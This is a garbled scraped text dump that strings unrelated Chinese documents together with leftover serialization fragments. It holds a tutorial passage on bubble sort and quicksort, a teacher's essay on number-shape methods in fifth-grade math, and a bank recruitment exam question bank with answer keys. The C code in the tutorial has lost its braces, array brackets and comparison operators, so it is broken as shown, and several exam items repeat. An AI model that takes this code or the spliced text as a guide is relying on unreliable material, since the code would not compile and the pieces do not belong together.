@#@啰里吧嗦地说了这么多,下面是代码。
@#@建议先自己尝试去实现一下看看,再来看我是如何实现的。
@#@#includeintmain()inta100,i,j,t,n;@#@scanf(%d,&@#@n);@#@/输入一个数n,表示接下来有n个数for(i=1;@#@i=n;@#@i+)/循环读入n个数到数组a中scanf(%d,&@#@ai);@#@啊哈!
@#@算法10/冒泡排序的核心部分for(i=1;@#@i=n-1;@#@i+)/n个数排序,只用进行n-1趟for(j=1;@#@j=n-i;@#@j+)/从第1位开始比较直到最后一个尚未归位的数,想一想为什么到n-i就可以了。
@#@if(ajaj+1)/比较大小并交换t=aj;@#@aj=aj+1;@#@aj+1=t;@#@for(i=1;@#@i=n;@#@i+)/输出结果printf(%d,ai);@#@getchar();@#@getchar();@#@return0;@#@可以输入以下数据进行验证。
@#@1081005022156110009990运行结果是:
@#@01681522501009991000将上面代码稍加修改,就可以解决第1节遗留的问题,如下。
@#@#includestructstudentcharname21;@#@charscore;@#@/这里创建了一个结构体用来存储姓名和分数intmain()structstudenta100,t;@#@inti,j,n;@#@scanf(%d,&@#@n);@#@/输入一个数nfor(i=1;@#@i=n;@#@i+)/循环读入n个人名和分数scanf(%s%d,ai.name,&@#@ai.score);@#@第1章一大波数正在靠近排序11/按分数从高到低进行排序for(i=1;@#@i=n-1;@#@i+)for(j=1;@#@j=n-i;@#@j+)if(aj.scoreaj+1.score)/对分数进行比较t=aj;@#@aj=aj+1;@#@aj+1=t;@#@for(i=1;@#@i=n;@#@i+)/输出人名printf(%sn,ai.name);@#@getchar();@#@getchar();@#@return0;@#@可以输入以下数据进行验证。
@#@5huhu5haha3xixi5hengheng2gaoshou8运行结果是:
@#@gaoshouhuhuxixihahahengheng冒泡排序的核心部分是双重嵌套循环。
@#@不难看出冒泡排序的时间复杂度是O(N2)。
@#@这是一个非常高的时间复杂度。
@#@冒泡排序早在1956年就有人开始研究,之后有很多人都尝试过对冒泡排序进行改进,但结果却令人失望。
@#@如DonaldE.Knuth(中文名为高德纳,1974年图灵奖获得者)所说:
@#@“冒泡排序除了它迷人的名字和导致了某些有趣的理论问题这一事实之外,似乎没有什么值得推荐的。
@#@”你可能要问:
@#@那还有没有更好的排序算法呢?
@#@不要走开,请看下节快速排序。
@#@啊哈!
@#@算法12第3节最常用的排序快速排序上一节的冒泡排序可以说是我们学习的第一个真正的排序算法,并且解决了桶排序浪费空间的问题,但在算法的执行效率上却牺牲了很多,它的时间复杂度达到了O(N2)。
@#@假如我们的计算机每秒钟可以运行10亿次,那么对1亿个数进行排序,桶排序只需要0.1秒,而冒泡排序则需要1千万秒,达到115天之久,是不是很吓人?
@#@那有没有既不浪费空间又可以快一点的排序算法呢?
@#@那就是“快速排序”啦!
@#@光听这个名字是不是就觉得很高端呢?
@#@假设我们现在对“61279345108”这10个数进行排序。
@#@首先在这个序列中随便找一个数作为基准数(不要被这个名词吓到了,这就是一个用来参照的数,待会儿你就知道它用来做啥了)。
@#@为了方便,就让第一个数6作为基准数吧。
@#@接下来,需要将这个序列中所有比基准数大的数放在6的右边,比基准数小的数放在6的左边,类似下面这种排列。
@#@31254697108在初始状态下,数字6在序列的第1位。
@#@我们的目标是将6挪到序列中间的某个位置,假设这个位置是k。
@#@现在就需要寻找这个k,并且以第k位为分界点,左边的数都小于等于6,右边的数都大于等于6。
@#@想一想,你有办法可以做到这点吗?
@#@给你一个提示吧。
@#@请回忆一下冒泡排序是如何通过“交换”一步步让每个数归位的。
@#@此时你也可以通过“交换”的方法来达到目的。
@#@具体是如何一步步交换呢?
@#@怎样交换才既方便又节省时间呢?
@#@先别急着往下看,拿出笔来,在纸上画画看。
@#@我高中时第一次学习冒泡排序算法的时候,就觉得冒泡排序很浪费时间,每次都只能对相邻的两个数进行比较,这显然太不合理了。
@#@于是我就想了一个办法,后来才知道原来这就是“快速排序”,请允许我小小地自恋一下(o)。
@#@方法其实很简单:
@#@分别从初始序列“61279345108”两端开始“探测”。
@#@先从右往左找一个小于6的数,再从左往右找一个大于6的数,然后交换它们。
@#@这里可以用两个变量i和j,分别指向序列最左边和最右边。
@#@我们为这两个变量起个好听的名字“哨兵i”和“哨兵j”。
@#@刚开始的时候让哨兵i指向序列的最左边(即i=1),指向数字6。
@#@让哨兵j指向序列的最右边(即j=10),指向数字8。
@#@第1章一大波数正在靠近排序13首先哨兵j开始出动。
@#@因为此处设置的基准数是最左边的数,所以需要让哨兵j先出动,这一点非常重要(请自己想一想为什么)。
@#@哨兵j一步一步地向左挪动(即j),直到找到一个小于6的数停下来。
@#@接下来哨兵i再一步一步向右挪动(即i+),直到找到一个大于6的数停下来。
@#@最后哨兵j停在了数字5面前,哨兵i停在了数字7面前。
@#@现在交换哨兵i和哨兵j所指向的元素的值。
@#@交换之后的序列如下。
@#@61259347108啊哈!
@#@算法14到此,第一次交换结束。
@#@接下来哨兵j继续向左挪动(再次友情提醒,每次必须是哨兵j先出发)。
@#@他发现了4(比基准数6要小,满足要求)之后停了下来。
@#@哨兵i也继续向右挪动,他发现了9(比基准数6要大,满足要求)之后停了下来。
@#@此时再次进行交换,交换之后的序列如下。
@#@61254397108第二次交换结束,“探测”继续。
@#@哨兵j继续向左挪动,他发现了3(比基准数6要小,满足要求)之后又停了下来。
@#@哨兵i继续向右移动,糟啦!
@#@此时哨兵i和哨兵j相遇了,哨兵i和哨兵j都走到3面前。
@#@说明此时“探测”结束。
@#@我们将基准数6和3进行交换。
@#@交换之后的序列如下。
@#@31254697108第1章一大波数正在靠近排序15到此第一轮“探测”真正结束。
@#@此时以基准数6为分界点,6左边的数都小于等于6,6右边的数都大于等于6。
@#@回顾一下刚才的过程,其实哨兵j的使命就是要找小于基准数的数,而哨兵i的使命就是要找大于基准数的数,直到i和j碰头为止。
@#@OK,解释完毕。
@#@现在基准数6已经归位,它正好处在序列的第6位。
@#@此时我们已经将原来的序列,以6为分界点拆分成了两个序列,左边的序列是“31254”,右边的序列是啊哈!
@#@算法16“97108”。
@#@接下来还需要分别处理这两个序列,因为6左边和右边的序列目前都还是很混乱的。
@#@不过不要紧,我们已经掌握了方法,接下来只要模拟刚才的方法分别处理6左边和右边的序列即可。
@#@现在先来处理6左边的序列吧。
@#@左边的序列是“31254”。
@#@请将这个序列以3为基准数进行调整,使得3左边的数都小于等于3,3右边的数都大于等于3。
@#@好了开始动笔吧。
@#@不用找纸了,别以为我不知道你的小伎俩,你肯定又没有动手尝试!
@#@就准备继续往下看了吧。
@#@这里我留了一个空白区域,赶快自己动手模拟一下吧!
@#@如果你模拟得没有错,调整完毕之后的序列的顺序应该是:
@#@21354OK,现在3已经归位。
@#@接下来需要处理3左边的序列“21”和右边的序列“54”。
@#@对序列“21”以2为基准数进行调整,处理完毕之后的序列为“12”,到此2已经归位。
@#@序列“1”只有一个数,也不需要进行任何处理。
@#@至此我们对序列“21”已全部处理完毕,得到的序列是“12”。
@#@序列“54”的处理也仿照此方法,最后得到的序列如下。
@#@12345697108对于序列“97108”也模拟刚才的过程,直到不可拆分出新的子序列为止。
@#@最终将会得到这样的序列:
@#@第1章一大波数正在靠近排序1712345678910到此,排序完全结束。
@#@细心的同学可能已经发现,快速排序的每一轮处理其实就是将这一轮的基准数归位,直到所有的数都归位为止,排序就结束了。
@#@下面上个霸气的图来描述下整个算法的处理过程。
@#@啊哈!
@#@算法18快速排序之所以比较快,是因为相比冒泡排序,每次交换是跳跃式的。
@#@每次排序的时候设置一个基准点,将小于等于基准点的数全部放到基准点的左边,将大于等于基准点的数全部放到基准点的右边。
@#@这样在每次交换的时候就不会像冒泡排序一样只能在相邻的数之间进行交换,交换的距离就大得多了。
@#@因此总的比较和交换次数就少了,速度自然就提高了。
@#@当然在最坏的情况下,仍可能是相邻的两个数进行了交换。
@#@因此快速排序的最差时间复杂度和冒泡排序是一样的,都是O(N2),它的平均时间复杂度为O(NlogN)。
@#@其实快速排序是基于一种叫做“二分”的思想。
@#@我们后面还会遇到“二分”思想,到时候再聊。
@#@先上代码,如下。
@#@#includeinta101,n;@#@/定义全局变量,这两个变量需要在子函数中使用voidquicksort(intleft,intright)inti,j,t,temp;@#@if(leftright)return;@#@temp=aleft;@#@/temp中存的就是基准数i=left;@#@j=right;@#@while(i!
@#@=j)/顺序很重要,要先从右往左找while(aj=temp&@#@ij)j-;@#@/再从左往右找while(ai=temp&@#@ij)i+;@#@/交换两个数在数组中的位置if(ij)/当哨兵i和哨兵j没有相遇时t=ai;@#@ai=aj;@#@aj=t;@#@/最终将基准数归位第1章一大波数正在靠近排序19aleft=ai;@#@ai=temp;@#@quicksort(left,i-1);@#@/继续处理左边的,这里是一个递归的过程quicksort(i+1,right);@#@/继续处理右边的,这里是一个递归的过程intmain()inti,j,t;@#@/读入数据scanf(%d,&@#@n);@#@for(i=1;@#@i=n;@#@i+)scanf(%d,&@#@ai);@#@quicksort(1,n);@#@/快速排序调用/输出排序后的结果for(i=1;@#@i=n;@#@i+)printf(%d,ai);@#@getchar();@#@getchar();@#@return0;@#@可以输入以下数据进行验证。
@#@1061279345108运行结果是:
@#@12345678910下面是程序执行过程中数组a的变化过程,带下划线的数表示的是已归位的基准数。
@#@6127934510831254697108213546971081235469710812354697108啊哈!
@#@算法20123456971081234569710812345687910123456789101234567891012345678910快速排序由C.A.R.Hoare(东尼霍尔,CharlesAntonyRichardHoare)在1960年提出,之后又有许多人做了进一步的优化。
@#@如果你对快速排序感兴趣,可以去看看东尼霍尔1962年在C";i:
4;s:
0:
"";i:
5;s:
5537:
"数形结合在五年级数学教中运用例谈@#@紫阳三小潘跃进@#@“数形结合”是数学的重要思想方法之一,而且“数形结合”能培养学生创造性思维、抽象思维和形象思维。
@#@著名数学家华罗庚曾说“数形结合千般好,属性分离万事休。
@#@”可见数形结合的重要性。
@#@@#@例谈1:
@#@运用数形结合巧解组合图形的面积@#@教学中通过“形”来刺激学生的感官,使其首先进行仔细观察,进而得出计算关系,二这种计算关系则涉及“数”。
@#@根据数学问题中“数”的结构,构造出与之相应的几何图形,并运用几何图形的特征、规律来研究和解决问题,这样可以化抽象为直观,易于显露问题的内在联系,同时借助几何图形审题,使之形象化、直观化,把抽象的数学语言转化为直观的图形。
@#@@#@@#@
(1)审题:
@#@整体观察上图是什么图形?
@#@图中有几个三角形?
@#@有什么特征?
@#@@#@
(2)思路分析:
@#@求梯形的面积须知上底、下底和高,该梯形的高为6㎝,关键是上下底。
@#@@#@从图中可知直角三角形中有一个锐角是45°@#@,那么左边为等腰直角三角形,同理推出右边也是等腰直角三角形,于是上下底的和也就是6㎝,根据梯形面积计算公式可得S=6×@#@6÷@#@2=18平方厘米@#@例谈2:
@#@以数想形。
@#@明晰图形的性质@#@通过以数想形,可以有效地帮助理解图形的性质,教学“等底等高的三角形面积相等“这一性质时,呈现”4×@#@3“这一算式,让学生根据这算式在两条平行线之间画三角形,结果学生画出如下图形:
@#@@#@@#@通过观察上图,学生直观发现“不同形状的三角形等底等高时,它们的面积就相等”这一性质,再用课件出示“底6㎝高2厘米的几个三角形”让学生观察、发现:
@#@“面积相等的图形的形状不一定相同的性质。
@#@”@#@例谈3:
@#@以数想形,培养空间想象能力@#@小学生的认知规律一般来说是“直观感知——抽象——抽取数学知识”的过程。
@#@图形是直观感知和抽取数学知识的桥梁,充分发挥图形表象的中介作用,有利于培养学生多角度灵活思考大胆想象的能力。
@#@如看到“4×@#@5”你想到哪些图形?
@#@学生想到的可能是一个长5㎝宽4㎝的长方形;@#@可能是边长5㎝的正方形;@#@还可能是底5厘米高4厘米的平行四边形。
@#@再如看到“4、4、3”“4、4、4”“4、4、6”等你想到的是什么图形?
@#@他通过这种穿梭于图形与数字之间的学习,实现学生对数学内容的深刻理解,也能有效地培养学生的空间想象能力。
@#@@#@例谈4:
@#@数形结合理解算理@#@计算教学是小学数学教学的重要内容,而真正要提高学生的计算能力,算理的理解是基础,不理解算理的计算是机械的,记忆是暂时的,达不到计算思维的融会贯通,也就失去了灵活机智。
@#@算理往往是抽象的。
@#@如何让学生理解算理?
@#@数形结合的方法很实用。
@#@@#@教学异分母分数的加、减法时“+”,让学生画图来理解算理:
@#@“化异分母分数为同分母分数”,实质是吧两个分数化为同分数单位,再相加、减。
@#@@#@@#@很显然,借助图形语言,利用已有知识基础,很容易理解这一算理。
@#@可见,合适的图形及图形演绎推理对学生理解算理的重要性。
@#@@#@例谈5:
@#@巧用数形结合,是数学算理直观化@#@教学:
@#@求小数的近似数教学片断@#@师:
@#@以5.28为例,为什么保留一位小数求近似数要看百分位?
@#@@#@课中出示数轴图:
@#@把5.2和5.3之间平均分成10份,找到5.28对应位置。
@#@@#@师:
@#@从图上看5.28保留一位小数为什么约等于5.3呢?
@#@@#@生:
@#@5.28更接近小数5.3一些。
@#@@#@师:
@#@那5.23呢?
@#@它保留一位小数约等于多少?
@#@@#@生:
@#@百分位是3,离5.2近一些,应是5.2。
@#@@#@师:
@#@5.281在哪儿呢?
@#@5.282呢?
@#@5.289呢?
@#@@#@生:
@#@在5.28和5.29之间@#@师:
@#@这些小数保留一位小数的近似数等于多少呢?
@#@@#@生:
@#@它们保留一位小数结果都等于5.3;@#@从图中明显看出都接近5.3,它们都在5.28-5.29之间,才更接近一位小数5.3,所以只要看百分位上的数就够了。
@#@@#@上述教学,让学生通过观察数轴图,借助数形结合的有关教学策略,引导学生明确为什么保留一位小数要看百分位的算理,使教学算理更加直观,清晰,明了。
@#@@#@例谈6,巧用数形结合思想,使几何问题推导形象化@#@教学中经常会有几何问题推导,这时,通过图形算式计算,以数想形,能有效帮助学生理解图形的性质,巧妙化解教学难点。
@#@@#@平行四边形的面积教学:
@#@@#@师用课件出示如下4个图形,让学生观察计算。
@#@@#@师:
@#@4个图形的形状怎么样?
@#@面积怎么样?
@#@@#@生:
@#@4个图形的形状不相同,但面积都是4×@#@3=12(平方厘米)@#@师:
@#@可以得到:
@#@不同形状的平等四边形,只要等底等高,它们的面积就相等。
@#@@#@通过让学生观察,计算这一组图形的面积,学生可以轻松发现规律,通过巧用数形结合的方法,使几何问题推导形象化。
@#@@#@";i:
6;s:
25986:
"江西省赣州市赣县区邮政储蓄银行招聘试题及答案@#@ 说明:
@#@本题库收集历年及近期考试真题,全方位的整理归纳备考之用。
@#@@#@ 注意事项:
@#@@#@ 1、答题前,考试务必将自己的姓名,准考证号用黑色签字笔或钢笔填写在答题纸规定的位置。
@#@@#@ 2、监考人员宣布考试结束时,你应立即停止作答。
@#@将题本、答题卡和草稿纸都翻过来留在桌上,待监考人员确认数量无误、允许离开后方可离开。
@#@@#@ 3、特别提醒您注意,所有题目一律在答题卡指定位置答题。
@#@未按要求作答的,不得分。
@#@@#@ 一、选择题(在下列每题四个选项中选择符合题意的,将其选出并把它的标号写在题后的括号内。
@#@@#@ 错选、多选或未选均不得分。
@#@)@#@ 1、金融债券是指依法在我国境内设立的金融机构法人在境内外债券市场发行的、按约定还本付息的有价证券。
@#@目前我国()金融债券占有较大的比重。
@#@@#@ A、商业银行@#@ B、政策性银行@#@ C、证券公司@#@ D、财务公司@#@ 【答案】B@#@ 【解析】按发行主体划分,金融债券可以分为政策性银行金融债券、商业银行金融债券、证券公司金融债券、财务公司金融债券以及其他金融机构发行的金融债券,目前政策性银行金融债券占有较大的比重。
@#@@#@ 2、对于因正当属实的客观原因而使企业不能按时偿还中长期贷款的银行可以对其办理展期,展期()。
@#@@#@ A、不能超过原贷款期限的1/4,累计不超过3年@#@ B、不能超过原贷款期限的1/2,累计不超过3年@#@ C、不能超过原贷款期限的1/4,累计不超过5年@#@ D、不能超过原贷款期限的1/2,累计不超过5年@#@ 【答案】B@#@ 【解析】贷款展期不得低于原贷款条件:
@#@短期贷款展期不得超过原贷款期限;@#@中期贷款展期不得超过原贷款期限的一半;@#@长期贷款展期最长不得超过3年。
@#@@#@ 3、在商业银行流动性风险管理中,流动性比例为流动性资产余额与()之比。
@#@@#@ A、流动性负债余额@#@ B、负债总额@#@ C、贷款余额@#@ D、风险资产总额@#@ 【答案】A@#@ 【解析】流动性比例的计算公式为:
@#@流动性比例=流动性资产余额/流动性负债余额×@#@100%。
@#@@#@ 4、货币当局大量买进外汇时,将导致本币()。
@#@@#@ A、汇率上涨@#@ B、汇率下跌@#@ C、退出流通@#@ D、迅速回笼@#@ 【答案】B@#@ 【解析】货币当局大量买进外汇,外汇的需求增加,外汇升值,本币相对贬值,本币汇率下跌。
@#@故选B。
@#@@#@ 5、基于认知的选择性,当消费者面对众多营销刺激时,一般更容易选择()的外部刺激。
@#@@#@ A、与别人的需要有关@#@ B、与本人的预期相符@#@ C、与其他刺激类似@#@ D、只出现一次@#@ 【答案】B@#@ 【解析】认知的选择性与客观刺激物的特征、消费者的经验与期望和动机有关。
@#@一般在下列情况下,消费者更容易去选择外部刺激物进行信息处理:
@#@一是与消费者目前需要有关的;@#@二是与预期相符的;@#@三是变化幅度大于一般的、较为特殊的刺激物。
@#@故选B。
@#@@#@ 6、流动资金贷款的偿还方式多为()。
@#@@#@ A、每半年结算一次利息利随本清@#@ B、本息一次还清@#@ C、按月或按季结算利息、到期一次还本@#@ D、年底一次还清@#@ 【答案】C@#@ 【解析】流动资金贷款的偿还方式多为按月或按季结算利息,到期一次还本。
@#@@#@ 7、以下不属于个人消费贷款的是()。
@#@@#@ A、个人耐用消费品贷款@#@ B、助学贷款@#@ C、个人汽车贷款@#@ D、个人住房贷款@#@ 【答案】D@#@ 【解析】根据个人贷款用途的不同,个人贷款产品可以分为个人住房贷款、个人消费贷款和个人经营类贷款等。
@#@@#@ 其中,市场上常见的个人消费贷款有:
@#@个人汽车贷款、个人教育贷款、个人耐用消费品贷款、个人消费额度贷款、个人旅游消费贷款和个人医疗贷款等。
@#@@#@ 8、如果一个社会的收入是绝对平衡的,那么,基尼系数将()。
@#@@#@ A、等于1B、等于0C、大于1D、小于0@#@ 【答案】B@#@ 【解析】基尼系数的经济含义是指在全部居民收入中,用于进行不平均分配的那部分收入占总收入的百分比。
@#@@#@ 基尼系数最大为“1”,最小等于“0”。
@#@1表示居民之间的收入分配绝对不平均,0表示居民之间的收入分配绝对平均,这两种情况只是在理论上的绝对化形式,基尼系数的实际数值只能介于0~1之间。
@#@@#@ 9、银行在办理支付结算业务时,必须遵守的原则不包括()。
@#@@#@ A、恪守信用,履约付款@#@ B、谁的钱进谁的账,由谁支配@#@ C、银行不垫款@#@ D、提示风险@#@ 【答案】D@#@ 【解析】单位、个人和银行办理支付结算时,必须遵守“恪守信用,履约付款;@#@谁的钱进谁的账,由谁支配;@#@银行不垫款”的原则。
@#@@#@ 10、()是信贷资产证券化的唯一合法受托机构。
@#@@#@ A、证券公司@#@ B、商业银行@#@ C、基金公司@#@ D、信托公司@#@ 【答案】D@#@ 【解析】我国目前的资产证券化主要有三种类型:
@#@银保监会、人民银行主管的信贷资产证券化,中国证监会主管的企业资产证券化,银行间市场交易商协会主导的资产支持票据。
@#@其中,信托公司是信贷资产证券化的唯一合法受托机构。
@#@@#@ 11、下列属于违法发放贷款罪的主体是()。
@#@@#@ A、银行存款@#@ B、金融机构工作人员@#@ C、银行信贷资金@#@ D、金融机构自有资金@#@ 【答案】B@#@ 【解析】违法发放贷款罪,是指银行或者其他金融机构的工作人员,违反国家规定发放贷款,造成重大损失的行为。
@#@其主体是特殊主体,即银行或者其他金融机构及其工作人员;@#@其客体是国家对贷款的管理制度。
@#@@#@ 12、目前我国主要农村金融机构有()。
@#@@#@ ①农村信用社②农村合作银行③农村商业银行④农村社区银行@#@ A、①②③@#@ B、①②④@#@ C、②③④@#@ D、①②③④@#@ 【答案】A@#@ 【解析】我国目前主要的农村金融机构有农村信用社、农村合作银行、农村商业银行、村镇银行等,没有农村社区银行。
@#@@#@ 13、下列属于融资租赁在融资方面的作用的是()。
@#@@#@ A、缓释企业财务风险@#@ B、保障应收账款及时收回@#@ C、提升企业的产业链竞争优势@#@ D、增强存量资产的经济效益@#@ 【答案】A@#@ 【解析】BC两项属于在经营管理方面的作用;@#@D项属于在资产管理方面的作用。
@#@@#@ 14、下列哪一项不属于债券的基本特点()。
@#@@#@ A、偿还性@#@ B、风险性@#@ C、收益性@#@ D、流动性@#@ 【答案】B@#@ 【解析】债券的基本特点包括偿还性、安全性、流动性和收益性。
@#@@#@ 15、货币在充当商品流通媒介时发挥的职能是()。
@#@@#@ A、价值尺度@#@ B、流通手段@#@ C、贮藏手段@#@ D、支付手段@#@ 【答案】B@#@ 【解析】流通手段是货币在商品交换过程中充当交换媒介时所发挥的职能。
@#@@#@ 16、以下不属于个人消费贷款的是()。
@#@@#@ A、个人耐用消费品贷款@#@ B、助学贷款@#@ C、个人汽车贷款@#@ D、个人住房贷款@#@ 【答案】D@#@ 【解析】根据个人贷款用途的不同,个人贷款产品可以分为个人住房贷款、个人消费贷款和个人经营类贷款等。
@#@@#@ 其中,市场上常见的个人消费贷款有:
@#@个人汽车贷款、个人教育贷款、个人耐用消费品贷款、个人消费额度贷款、个人旅游消费贷款和个人医疗贷款等。
@#@@#@ 17、社会主义生产的目的是()。
@#@@#@ A、发展社会生产力@#@ B、满足人民日益增长的物质文化需要@#@ C、消灭剥削,消除两极分化@#@ D、实现共同富裕@#@ 【答案】B@#@ 【解析】满足人民日益增长的物质文化需要是社会主义生产的目的。
@#@ACD三项是社会主义的本质。
@#@@#@ 18、下列合同中不能产生留置权的是()。
@#@@#@ A、买卖合同@#@ B、加工承揽合同@#@ C、保管合同@#@ D、运输合同@#@ 【答案】A@#@ 【解析】留置权是指债权人按照合同的约定占有债务人的动产,债务人未履行到期债务的,债权人有权依照法律规定留置财产,并有权就该动产优先受偿。
@#@留置权只能发生在特定的合同关系中,如保管合同、运输合同和加工承揽合同。
@#@@#@ 19、下列合同中不能产生留置权的是()。
@#@@#@ A、买卖合同@#@ B、加工承揽合同@#@ C、保管合同@#@ D、运输合同@#@ 【答案】A@#@ 【解析】留置权是指债权人按照合同的约定占有债务人的动产,债务人未履行到期债务的,债权人有权依照法律规定留置财产,并有权就该动产优先受偿。
@#@留置权只能发生在特定的合同关系中,如保管合同、运输合同和加工承揽合同。
@#@@#@ 20、下列选项中不属于中国政策性银行的是()。
@#@@#@ A、国家开发银行@#@ B、中国进出口银行@#@ C、农村商业银行@#@ D、中国农业发展银行@#@ 【答案】C@#@ 【解析】中国政策性银行包括国开行、农业发展银行和进出口银行。
@#@农村商业银行属于存款类金融机构。
@#@@#@ 21、对借款人确因暂时经营困难等原因不能按期归还贷款本息的,贷款人可与借款人协商采取的处理措施不包括()。
@#@@#@ A、展期@#@ B、续贷@#@ C、贷款重组@#@ D、追加担保@#@ 【答案】D@#@ 【解析】出现重大预警信号时,贷款人应根据合同约定及时采取提前收贷、追加担保等有效措施防范化解贷款风险。
@#@对借款人确因暂时经营困难等原因不能按期归还贷款本息的,贷款人可与借款人协商采取展期、续贷、贷款重组等处理措施。
@#@@#@ 22、我国已不再实施宽松的、扩张型的货币政策,现行的货币政策的核心是()。
@#@@#@ A、增加赤字减少税收和扩大支出@#@ B、处理好稳增长调结构控物价防风险的关系@#@ C、保持对通货膨胀高度警惕优化信贷机构和融资结构@#@ D、为低通胀促增长促就业保持国际收支基本平衡服务@#@ 【答案】D@#@ 【解析】中国已经不再是宽松的、扩张型的货币政策。
@#@今年中国货币政策的动向,“中国的货币政策是为低通胀、促增长、促就业、保持国际收支基本平衡这4项目标共同服务的。
@#@@#@ 23、在社会主义初级阶段的收入分配制度中,各种生产要素应按()参与分配。
@#@@#@ A、投入的实际数量@#@ B、投入者的企业性质@#@ C、在生产过程中的稀缺程度@#@ D、在生产过程中的贡献@#@ 【答案】D@#@ 【解析】按生产要素分配是指按照资本、土地、劳动、技术等各生产要素在生产过程中的贡献进行分配。
@#@故选D。
@#@@#@ 24、关于费雪方程式,下列说法不正确的是()。
@#@@#@ A、公式中的V代表了单位时间内货币的平均周转次数@#@ B、方程表明名义收入等于货币存量和流通速度的乘积@#@ C、Y取决于资本、劳动力及自然资源的供给状况和生产技术等非货币因素@#@ D、交易方程式中的V和Y两个变量在长期中都不受M变动的影响@#@ 【答案】A@#@ 【解析】费雪方程式为MV=PY,其中,V是制度因素影响的,在短期内不变,可视为常数,取决于人们的支付习惯、信用发达程度、运输条件等社会因素。
@#@@#@ 25、商业银行经营管理以()为目标。
@#@@#@ A、盈利性@#@ B、安全性@#@ C、流动性@#@ D、稳定性@#@ 【答案】A@#@ 【解析】商业银行经营管理以盈利性为目标、以流动性和安全性为基本原则,三者既矛盾又统一。
@#@@#@ 26、我国商业银行不得在境内进行的业务有()。
@#@@#@ A、代售基金@#@ B、黄金交易@#@ C、证券经营@#@ D、外汇买卖@#@ 【答案】C@#@ 【解析】@#@ 《商业银行法》第四十三条规定:
@#@@#@ “商业银行在中华人民共和国境内不得从事信托投资和证券经营业务,不得向非自用不动产投资或者向非银行金融机构和企业投资,但国家另有规定的除外。
@#@”限制银行从事信托投资、证券经营业务和向非自用不动产投资和企业投资,主要是为了贯彻金融分业经营的原则,防范金融风险,维护金融安全。
@#@@#@ 27、实行直接标价法的国家,如果汇率下降,表明本国货币对外国货币()。
@#@@#@ A、贬值@#@ B、浮动@#@ C、不变@#@ D、升值@#@ 【答案】D@#@ 【解析】直接标价法是指用以1单位外币折合多少本币来表示汇率。
@#@汇率下降,单位外币折合成本币数下降,外币贬值,本币升值。
@#@故选D。
@#@@#@ 28、收入状况是决定货币需求的主要因素之一,在一般情况下,货币需求量与收入水平()。
@#@@#@ A、正相关@#@ B、负相关@#@ C、无关@#@ D、不确定@#@ 【答案】A@#@ 【解析】收入状况是决定货币需求的主要因素之一。
@#@在一般情况下,货币需求量与收入水平成正比,当居民、企业等经济主体的收入增加时,他们对货币的需求也会增加;@#@当其收入减少时,他们对货币的需求也会减少。
@#@@#@ 29、我国商业银行不得在境内进行的业务有()。
@#@@#@ A、代售基金@#@ B、黄金交易@#@ C、证券经营@#@ D、外汇买卖@#@ 【答案】C@#@ 【解析】@#@ 《商业银行法》第四十三条规定:
@#@@#@ “商业银行在中华人民共和国境内不得从事信托投资和证券经营业务,不得向非自用不动产投资或者向非银行金融机构和企业投资,但国家另有规定的除外。
@#@”限制银行从事信托投资、证券经营业务和向非自用不动产投资和企业投资,主要是为了贯彻金融分业经营的原则,防范金融风险,维护金融安全。
@#@@#@ 30、反洗钱工作已经涵盖了()、恐怖融资和扩散融资三方面内容。
@#@@#@ A、违规行为@#@ B、行政犯罪@#@ C、司法处置@#@ D、刑事犯罪@#@ 【答案】D@#@ 【解析】随着国际、国内犯罪形式的不断发展,反洗钱工作的内涵和外延也在不断扩大。
@#@按照金融行动特别工作组40项建议的规定,反洗钱工作已经涵盖了刑事犯罪、恐怖融资和扩散融资三方面内容。
@#@@#@ 31、无法消除,但事先可以进行控制或计算的误差是()。
@#@@#@ A、登记性误差@#@ B、有意虚报、瞒报造成的误差@#@ C、抄录错误造成的误差@#@ D、代表性误差@#@ 【答案】D@#@ 【解析】代表性误差是在用样本数据进行推断时所产生的随机误差。
@#@无法消除,但事先可以进行控制或计算。
@#@@#@ 登记性误差是调查过程中由于调查者或被调查者的人为因素所造成的误差。
@#@从理论上讲,登记性误差是可以消除的。
@#@故选D。
@#@@#@ 32、远期外汇交易是为了满足客户保值或自身风险管理的需要,下列关于银行远期外汇交易的说法,不正确的是()。
@#@@#@ A、远期外汇交易需要事前约定交易的币种、金额和汇率@#@ B、远期外汇交易适用于未来有外币交易需求的客户@#@ C、远期外汇交易只能够对冲汇率下降的风险@#@ D、远期外汇交易可按固定交割日交割,也可由交易的某一方选择在一定期限内的任何一天交割@#@ 【答案】C@#@ 【解析】C项,远期外汇交易最大的优点在于能够对冲汇率在未来上升或者下降的风险,因而可以用来进行套期保值或投机。
@#@@#@ 33、()负责监管互联网支付业务,()负责监管网络借贷业务、互联网信托业务和互联网消费金融业务。
@#@@#@ A、银保监会;@#@中国人民银行@#@ B、中国人民银行;@#@银保监会@#@ C、银保监会;@#@证监会@#@ D、中国人民银行;@#@证监会@#@ 【答案】B@#@ 【解析】在监管职责划分上,人民银行负责互联网支付业务的监督管理;@#@银保监会负责包括个体网络借贷和网络小额贷款在内的网络借贷以及互联网信托和互联网消费金融的监督管理;@#@证监会负责股权众筹融资和互联网基金销售的监督管理;@#@银保监会负责互联网保险的监督管理。
@#@@#@ 34、商业银行属于()。
@#@@#@ A、金融辅助机构@#@ B、存款类金融机构@#@ C、契约型储蓄机构@#@ D、投资性中介机构@#@ 【答案】B@#@ 【解析】商业银行属于存款类金融机构,存款类金融机构还包括农信社,邮政储蓄等。
@#@@#@ 35、商业银行信用风险管理实践中,设定贷款集中度限额的做法属于()策略。
@#@@#@ A、风险补偿@#@ B、风险对冲@#@ C、风险转移@#@ D、风险分散@#@ 【答案】D@#@ 【解析】风险分散是指通过多样化的投资来分散和降低风险的策略性选择。
@#@根据多样化投资分散风险的原理,商业银行的信贷业务应是全面的,而不应集中于同一业务、同一性质甚至同一个借款人。
@#@本题中,设定贷款集中度限额的做法采用的正是风险分散策略。
@#@@#@ 36、下列指标中,能够反映企业盈利能力的是()。
@#@@#@ A、营业利润率@#@ B、资产负债率@#@ C、速动比率@#@ D、存货周转率@#@ 【答案】A@#@ 【解析】BC反映偿债能力;@#@D反映营运能力。
@#@故选A。
@#@@#@ 37、如果某个外汇市场采用了间接标价法表示汇率,那么汇率越高说明()。
@#@@#@ A、外币升值@#@ B、外币贬值@#@ C、没有变化@#@ D、不一定@#@ 【答案】B@#@ 【解析】间接标价法是用一单位的本币表示应收多少单位的外币,题目中的汇率变高表示的是汇率数值变大,此时说明一单位的本币可以兑换更多单位的外币,说明本币升值,外币贬值。
@#@故选B。
@#@@#@ 38、个人获得住房贷款属于()。
